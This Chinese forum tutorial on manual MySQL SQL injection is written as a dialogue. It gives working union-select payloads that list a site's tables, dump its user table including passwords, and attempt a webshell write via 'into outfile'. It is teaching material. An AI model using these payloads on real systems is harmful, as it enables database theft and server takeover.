資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開發(fā)技術(shù)隨記

 找回密碼
 注冊成為正式會員
查看: 1476|回復(fù): 0
打印 上一主題 下一主題

[網(wǎng)絡(luò)安全/滲透測試] 代碼審計(jì)入門教學(xué)(三)

[復(fù)制鏈接]

4

主題

4

帖子

0

精華

新手上路

Rank: 1

資源幣
10
積分
12
貢獻(xiàn)
0
在線時間
2 小時
注冊時間
2020-2-19
最后登錄
2020-5-2
跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2020-2-19 23:13:56 | 只看該作者 |只看大圖 回帖獎勵 |正序?yàn)g覽 |閱讀模式
代碼審計(jì)入門教學(xué)(三)
小白:“我們主要是以mysql和php環(huán)境下的SQL注入,SQL手工注入的步驟可以分為:
①        判斷是否存在注入;
②        判斷注入類型,分為整數(shù)型和字符型;
③        判斷字段數(shù);
④        判斷數(shù)據(jù)庫版本是否大于5.0;
⑤        獲取當(dāng)前數(shù)據(jù)庫;
⑥        獲取當(dāng)前數(shù)據(jù)庫存在的表;
⑦        獲取表存在的字段;
⑧        獲取表內(nèi)的數(shù)據(jù);
⑨        寫入webshell,如果當(dāng)前用戶是root賬號,并且存在硬盤讀取權(quán)限的話。”
仔仔:“那我如何判斷是否存在注入呢?”
小白:“不急,且聽我細(xì)細(xì)道來。我們先在瀏覽器打開上次發(fā)現(xiàn)的可以手工注入的鏈接:



小白:“如何判斷注入類型的方法上次也講了,我們接著講第三步驟,判斷字段數(shù),判斷字段數(shù)有兩種方法,order by和聯(lián)合查詢,聯(lián)合查詢也可分為union select和union all select。當(dāng)然啦,我這里只是講常用的兩種方法,如果有其他大牛有其他方法,那得好好討教才行!

仔仔:“那這兩種方法有什么區(qū)別呢?”

小白:“個人拙見是order by可以使用二分法快速獲取到具體字段數(shù),聯(lián)合查詢比較笨,要一個一個數(shù)的猜,直到字段數(shù)匹配!

接下來開始實(shí)施:

Lgid=1 order by 10





試了下,從1到10都沒檢測出來,換成聯(lián)合查詢判斷。


說到這里,不得不說下mysql的注釋符,mysql的注釋符有:

#(url編碼是23%)

--(一般和加號一起,--+)

/**/

//

……

小白:“獲取到字段數(shù)后,判斷數(shù)據(jù)庫版本,可以用version()函數(shù)判斷!



仔仔:“為什么要判斷數(shù)據(jù)庫版本是不是大于5.0呢?”

小白:“這個我也剛剛準(zhǔn)備和你說,要判斷數(shù)據(jù)庫版本大于5.0主要是因?yàn)閙ysql5.0以上的版本存在一個默認(rèn)數(shù)據(jù)庫information_schema,這個數(shù)據(jù)庫存放了數(shù)據(jù)庫所有數(shù)據(jù)庫的表名和字段信息,關(guān)于這個數(shù)據(jù)庫更多的信息可以去搜索下。接下來是獲取當(dāng)前數(shù)據(jù)庫,可以用mysql內(nèi)置函數(shù)database()獲取!


仔仔:“這挺簡單的!

小白:“知道當(dāng)前數(shù)據(jù)庫后接下來獲取表名,這個有三種獲取方法:

①      Table_schema=database();

②      Table_schema=’xxxdb’

③      Table_schema=xxxdb的十六進(jìn)制。這三種方法可以靈活應(yīng)用,過濾單引號的時候可以用①和③”

lgid=1 union select1,2,3,4,5,6,table_name database() from information_schema.tables wheretable_schema=database()#




可以看到有一些表:

這樣子獲取表名可能存在重復(fù),mysql有一個關(guān)鍵字distinct可以去除重復(fù)。

lgid=1 union select distinct 1,2,3,4,5,6,table_name from information_schema.tables wheretable_schema=database()#






也可以使用mysql數(shù)據(jù)庫字符串拼接函數(shù)group_concat()拼接字符。

lgid=1 union select1,2,3,4,5,6,group_concat(distinct table_name) from information_schema.tableswhere table_schema=database()#



可以看到有以下這些表:

sc_banner,sc_categories,sc_config,sc_download,sc_images,sc_info,sc_language,sc_link,sc_menu,sc_msg,sc_products,sc_tagandseo,sc_user

小白:“Mysql還有其他字符串拼接函數(shù),這里就不一一列舉了,仔仔你有興趣就搜索學(xué)習(xí)!

仔仔:“好咧!”

小白:“知道表了,接下來獲取表的字段,用的是information_schema.columns表,columns和tables顧名思義是字段s和表s,columns可以獲取到table_name,但tables不能獲取到column_name。接下來我們獲取sc_user表的字段試試!

lgid=1 union select1,2,3,4,5,6,group_concat(distinct column_name) from information_schema.columnswhere table_schema=database() and table_name=0x73635f75736572#



或者lgid=1 union select1,2,3,4,5,6,group_concat(distinct column_name) from information_schema.columnswhere table_schema=database() and table_name='sc_user'#



可以看到有以下字段:

ID,user_name,user_admin,user_ps,user_tel,user_qx,user_time,user_email,user_rzm

小白:“獲取到表的字段后就可以獲取表的數(shù)據(jù)了!

http://www.yuesec.com/rifj_Admin/xxxCMS_Banner.php?lgid=1union select 1,2,3,4,5,6,group_concat(distinct ID,user_name,user_admin,user_qx)from sc_user#



小白:“好,獲取到用戶表的用戶名和密碼后就可以登錄后臺了,如果存在上傳漏洞就可以getshell,一般數(shù)據(jù)庫當(dāng)前用戶是普通用戶注入到這里就結(jié)束了。如果當(dāng)前數(shù)據(jù)庫用戶是root,且對磁盤可讀可寫的話可以通過into outfile進(jìn)行g(shù)etshell。要通過數(shù)據(jù)庫寫shell的話還需要知道網(wǎng)站的存放物理路徑,可以通過@@datadir獲取到數(shù)據(jù)庫的物理路徑,如果使用的是wamp或者lampp就萬事大吉了,因?yàn)閣amp和lampp網(wǎng)站目錄比較固化。如果不是集成工具部署網(wǎng)站環(huán)境的話,只能通過物理路徑泄露漏洞獲取,或者通過load_file()函數(shù)讀取服務(wù)器上的文件猜測網(wǎng)站存放路徑了。”

lgid=1 union select1,2,3,4,5,6,group_concat(distinct @@datadir) from sc_user#



lgid=1 union select1,2,3,4,5,6,group_concat(distinct @@datadir)  into outfile ‘D:\\phpstudy\\www\\test.php’#


寫入不成功,這在意料之中,因?yàn)楫?dāng)前用戶不是root用戶,沒有磁盤讀寫權(quán)限。

lgid=1 union select 1,2,3,4,5,6,group_concat(distinctuser())#



第一條\\是在windows環(huán)境下使用,如果是linux只需要一個\就可以,如果第一條不行,可以試試第二條。

回復(fù)

使用道具 舉報

 點(diǎn)擊右側(cè)快捷回復(fù)  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號-1 )

GMT+8, 2025-5-15 10:34 , Processed in 0.055844 second(s), 16 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表